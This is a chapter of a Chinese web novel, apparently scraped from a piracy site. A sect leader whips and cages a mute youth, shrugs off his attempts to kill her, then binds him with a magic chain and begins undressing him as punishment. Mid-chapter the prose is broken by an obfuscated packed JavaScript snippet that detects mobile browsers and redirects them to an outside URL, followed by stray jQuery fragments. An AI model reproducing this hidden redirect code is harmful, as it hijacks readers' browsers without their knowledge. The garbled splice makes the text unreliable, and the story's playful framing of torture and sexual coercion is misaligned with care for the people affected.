4. 杀不死

作品:《小哑巴被我训成大疯批

    “宿主,继续呀,黑化值正在有效飙升,鞭不能停!”


    系统在耳边摇旗呐喊。


    游春音眯眸打量地上的少年。


    对方小脸惨白如纸,冒着细细密密的冷汗,尽管鲜血洇湿了衣裳,仍倔强地咬着唇不容屈服。


    再抽,再抽人就要没了。


    她没理会系统,径自收回了皮鞭,搭在手臂上慢条斯理地摩挲,“看在你第一次犯,主人大度,今天便从宽饶恕你,若再有下次,那可就翻倍了。”


    即使停止了惩罚,纪缭的眼神依旧阴冷如刀,毫无感恩之意。


    游春音早已习惯小哑巴的不乖,不仅不恼,还心情颇好地勾起了朱唇。对方的反应越不悦,她就越愉悦,毕竟桀骜不驯的狗训起来才更有成就感。


    她含笑俯身,手指抚上那微卷的海藻长发,像奖励小孩般亲昵地拍拍他的头。


    “不过为了让你长记性,今晚罚你不能睡房间,滚回笼子里睡。让夜风吹醒你这不识好歹的榆木脑袋。”


    纪缭偏头躲开游春音的手,布满红血丝的眼底浸满了嫌弃之色。


    “啧啧,还不让摸了。”游春音本欲继续调教不听话的狗狗,但看了一眼快黑透的天色,该下值回府用膳了,什么恶毒女配任务都一边去。


    于是她抬起鞋尖踹了踹少年的胸膛,扬声吩咐:“来人,把他拖回铁笼子里。”


    远处的小弟子瑟瑟发抖,半年没见宗主打人了,一出手还是那么毒辣,连忙应道:“是,宗主。”


    合欢宗地势高,虽处夏季,但入夜后气温下降,萧萧晚风拂过肌肤,带起阵阵凉意。


    纪缭被关回了笼子里,独自锁在寂沉黑暗的偌大庭院中,轻薄的衣衫上布满了凝固的斑驳血痕。


    他闭目静坐,凝神运功疗伤。如今这副少年身躯修为浅薄,还经年累月受过太多伤,并不好调理。


    时间一刻刻过去,经过整整一夜,他先前严重的内伤终于运功治疗完毕,经脉舒畅,神清目明。


    可尽管内伤痊愈了,但眼下的修为和灵力连他昔日的万分之一都比不上。唯有离开此地,尽快修炼提升,才能重回巅峰,夺回属于他的一切。


    纪缭怒睁紫瞳,修长的手指握住沾满霜露的笼子大门,轻轻一捏,就掰断了棍子般粗硕的锁。


    离开前,那个三番五次对他不敬的轻佻女修,势必要先取了她的性命。


    此时黎明刚至,天色微微放亮,清晨的风透着一股料峭,吹动院子里唯一的一株桃花树。


    粉色的桃花零零星星地盛开着,镶嵌在碧绿茂密的叶子丛中,随着风花枝摇曳,不时飘落几片花瓣。


    纪缭跨出铁笼,穿过缥缈的晨雾,走到了桃花树前,而对面,正是游春音的房间。


    房门没有上锁,也没有设结界,“吱呀”一声,纪缭很轻易就推开了。


    不同于屋外的湿凉,屋内干燥温暖,萦绕着淡淡的馨香,几缕浅金色的日光从窗外斜斜照入。


    光影浮动间,纪缭看清了屋里的情形,装潢雅致,雕花锦绣,宽大的木床边垂落着层层纱幔,微光透入,勾勒出一道朦胧曼妙的身影。


    一见到那身影,他的双眸便涌起痛恨之色,周身杀气按捺不住地往外泄,宛如凛冬出鞘的冰霜,步伐沉沉地走近,单手撩开了纱幔。


    床上的女子正在熟睡,眉目柔婉,蝶翼般的长睫恬静舒展着,全然没了平日里的刁横张扬。薄被松松垮垮地盖到胸口,姿态闲适惬意,似在做着一个香甜的梦。


    冰冷的视线扫过对方袒露的咽喉,如此纤细的脖子,他一只手便能轻松掐断。


    纪缭骤然俯身,犹如一头掠食的鹰隼,精准而狠厉地锁定猎物,毫不迟疑地掐住了游春音的脖子。


    可下一刻,却没有响起骨头碎裂的声音,寝房里安静得近乎诡异。


    这是......为何?!!


    他的力道就像用在了棉花上,竟不起一丝伤害。


    与此同时,游春音睁开了眼睛。


    少年高大的阴影遮住了光源,似乌云般笼罩在她上头,散发着一股狠戾的压迫感。但她只是惊讶了一瞬,就恢复了淡然,肆无忌惮地弯唇轻笑。


    “小哑巴,来爬床啊。”


    “不过,夜里不来,现在天亮了才来,已经太晚了......”


    纪缭眸色一凛,显然被游春音的话激怒,手上的力度又加重了几成,连手背上的青筋都一根根突突跳了出来。


    “......咳。”游春音抬了抬脖子,也使劲继续说话,“你这样压着我,我快说不了话,你想把我变成和你一样的小哑巴吗?”


    女子的嗓音带着刚睡醒的黏腻沙哑,又因被束缚发声艰难,而显得娇软无力,一字一句恍若挠人的羽毛,叫人心生烦躁。


    “那可不好,我们都不说话,未免太安静乏味,还是说,你想对我做什么?”


    温热的吐息杂糅着女子的袅袅芳香,喷在纪缭的耳边,那瓷白的肌肤瞬间染上了一层绯红。


    闭嘴。


    他嫌恶地剜了一眼游春音。


    游春音看懂了纪缭的唇语,脸上的笑意更深了,眼角眉梢都挂着一种“你看不惯我,却整不死我”的得意。


    纪缭果然怒不可遏,然而无论他怎么使力,始终都无法掐死游春音。


    他愈发不可置信。


    从前他单手就能扭断魔族魔兽的脖子,甚至能徒手粉碎千年鳞甲,不可能掐不死面前这个脆弱的人族。


    莫非......是被结界屏蔽了?


    可他完全感测不到对方的灵力波动,区区一介合欢宗的女修,怎会有如此深藏不露的修为。


    游春音静静欣赏着纪缭的崩溃,此刻她毫无痛觉,甚至悠哉地伸出手,想拍拍身上人的脸挑衅。


    她一抬手,就被纪缭迅速按住,双手被强硬地反扣在头顶。


    由于动作太猛,她身上的锦被往下滑落,单薄的寝衣凌乱不整,露出了白嫩圆润的肩头,精致细腻的锁骨,以及一片半露不露却尤为致命的春光。


    “小哑巴,想对主人图谋不轨啊!”


    ......虽然此图非彼图。


    但纪缭还是立马慌了神,比杀不死痛恨之人更加惊惶,火急火燎地撇开了视线,好似碰到了毒花般避之不及,冷峻的脸庞也被迫熏上了一抹红晕。


    他赫然松开了对游春音的桎梏,不再看对方一眼,就急匆匆跑出了房间。


    游春音望着那落荒而逃的背影,一边拉拢衣衫,一边忍不住失笑。


    看来这小哑巴,还是个小雏儿。


    这下,更好玩了。


    *


    半时辰后,游春音梳洗完,换好了衣裳,便迈出了房门。


    纪缭没走远,一直在院子里等着她。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235843|166083||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>游春音早已察觉到少年不减反增的杀气,但她依旧视若无睹,悠然走到凉亭下,拿出一把匕首,朝纪缭勾了勾手指。


    “过来,该喂仙昙草了。”


    不知对方是心大松懈,还是无所畏惧,居然敢在面前亮出了武器。纪缭紫瞳眯起,猛地逼近,刹那间,就夺下了游春音手中的匕首。


    锋利的刀刃泛着冷光,毫不留情地直直刺向游春音。


    然而诡异的事情再次发生,任由纪缭如何操纵匕首,刀刃都无法落到游春音身上。


    简直如同魔障。


    无论是暗杀还是明晃晃的刺杀,都伤不了她一根头发。


    “放弃吧,你杀不了我的。”


    游春音从容自若地托着半边下巴。


    既然系统让她做任务助推小哑巴黑化,那么在完成任务前,系统起码会保护她不被小哑巴杀死,否则很难发展到系统想要的结局。


    纵使是未来毁天灭地的大魔王,在系统所谓的天道面前,亦不过是一个必须按剧情走的反派角色。


    和自己这个恶毒女配一样,都无法违逆系统,受制于被写好的命运。


    思及此,游春音凉凉地叹息一声。


    “宿主,任务对象的黑化值正在狂飙,怕他会失控,这是道具缚灵锁,请您查收!”


    游春音手上凭空冒出了一条冰蓝色的锁链,幽幽闪着清冷的光。


    她嘴角一扯,没好气地暗讽:“早上那会看着我被他压了这么久,也不知道拿出来,到现在才给我,你可真是一场助人为乐的及时雨啊。”


    “您在床上完全可以控制他,并不需要帮助。”系统在识海里平静地回复:“任务对象的情况比较特殊,任务难度比从前大,在适当的时候,天道会尽可能地给予助力。”


    呵呵,好你个适当的天道。


    游春音白了一眼系统,旋即看向浑身阴鸷煞气的萱族少年,展开手中的缚灵锁。


    蓝光闪烁,缚灵锁变幻加长,宛如一条灵活的游蛇,按照游春音的指挥,将纪缭结结实实地绑到了石凳上。


    缚灵锁乃用于捆绑的至尊宝物,能束缚万物生灵。即使是从前的纪缭也不一定能挣脱,更何况是如今修为浅薄到近乎于无的哑巴少年。


    “你越挣扎,缚灵锁就会绑得越紧,小哑巴,我劝你还是安分一些。”


    游春音捏捏纪缭的脸颊,嫣红的蔻丹快要陷入肌肤,映衬着对方血色尽褪的一张俊脸。


    她从容地欣赏着困兽的挣扎,片晌,手指一路向下滑落,划过激动起伏的胸膛,最后慢条斯理地解开了他的腰带。


    “......”纪缭睚眦欲裂。


    “是不是想问,我想做什么?”


    游春音神秘一笑,指尖挑逗着勾开了纪缭的上衣衣襟,单薄的衣衫很快就被剥开,胸膛腰腹一览无遗。


    缚灵锁被纪缭挣扎得哐哐作响,俨若一头被逼疯的野兽,目露凶光地剜着面前不知廉耻的合欢宗掌门。


    游春音不禁被那眼神震慑了瞬息,如果没把人绑着,估计已经咬上来直接吃了她。


    但她并非胆小怯懦之徒,相反,手指继续在纪缭身上为所欲为,毫不退让地进一步刺激他。


    “小哑巴,我说过,我床上没有你的位置,而你却擅自闯进我的房间,爬上我的床......”


    “这是,你对主人图谋不轨的惩罚。”